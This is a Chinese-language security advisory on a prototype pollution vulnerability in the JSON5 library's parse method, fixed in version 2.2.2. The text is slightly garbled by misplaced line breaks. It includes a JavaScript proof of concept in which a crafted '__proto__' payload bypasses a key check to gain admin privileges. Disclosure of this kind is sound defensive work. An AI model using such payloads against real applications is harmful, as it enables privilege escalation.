parse
之前和包括版本的 JSON5 库的方法2.2.1
不限制对名为 的键的解析__proto__
,允许特制字符串污染结果对象的原型。
该漏洞污染了返回对象的JSON5.parse
原型,而不是全局对象原型,这是原型污染的普遍理解定义。但是,如果对象稍后用于受信任的操作,污染单个对象的原型会对应用程序产生重大的安全影响。
此漏洞可能允许攻击者在从 返回的对象上设置任意和意外的键JSON5.parse
。实际影响将取决于应用程序如何利用返回的对象以及它们如何过滤不需要的密钥,但可能包括拒绝服务、跨站点脚本、特权提升以及在极端情况下远程代码执行。
此漏洞已在 json v2.2.2 及更高版本中修补。
假设开发人员希望允许用户和管理员执行一些有风险的操作,但他们希望限制非管理员可以执行的操作。为此,他们从用户那里接受一个 JSON blob,使用 解析它JSON5.parse
,确认提供的数据没有设置一些敏感键,然后使用经过验证的数据执行有风险的操作:
const JSON5 = require('json5');
const doSomethingDangerous = (props) => {
if (props.isAdmin) {
console.log('Doing dangerous thing as admin.');
} else {
console.log('Doing dangerous thing as user.');
}
};
const secCheckKeysSet = (obj, searchKeys) => {
let searchKeyFound = false;
Object.keys(obj).forEach((key) => {
if (searchKeys.indexOf(key) > -1) {
searchKeyFound = true;
}
});
return searchKeyFound;
};
const props = JSON5.parse('{"foo": "bar"}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as user."
} else {
throw new Error('Forbidden...');
}
如果攻击者试图设置isAdmin
密钥,他们的请求将被拒绝:
const props = JSON5.parse('{"foo": "bar", "isAdmin": true}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props);
} else {
throw new Error('Forbidden...'); // Error: Forbidden...
}
但是,攻击者可以改为将__proto__
密钥设置为{"isAdmin": true}
. JSON5
将解析此密钥并将isAdmin
密钥设置在返回对象的原型上,从而允许攻击者绕过安全检查并以管理员身份运行他们的请求:
const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as admin."
} else {
throw new Error('Forbidden...');
}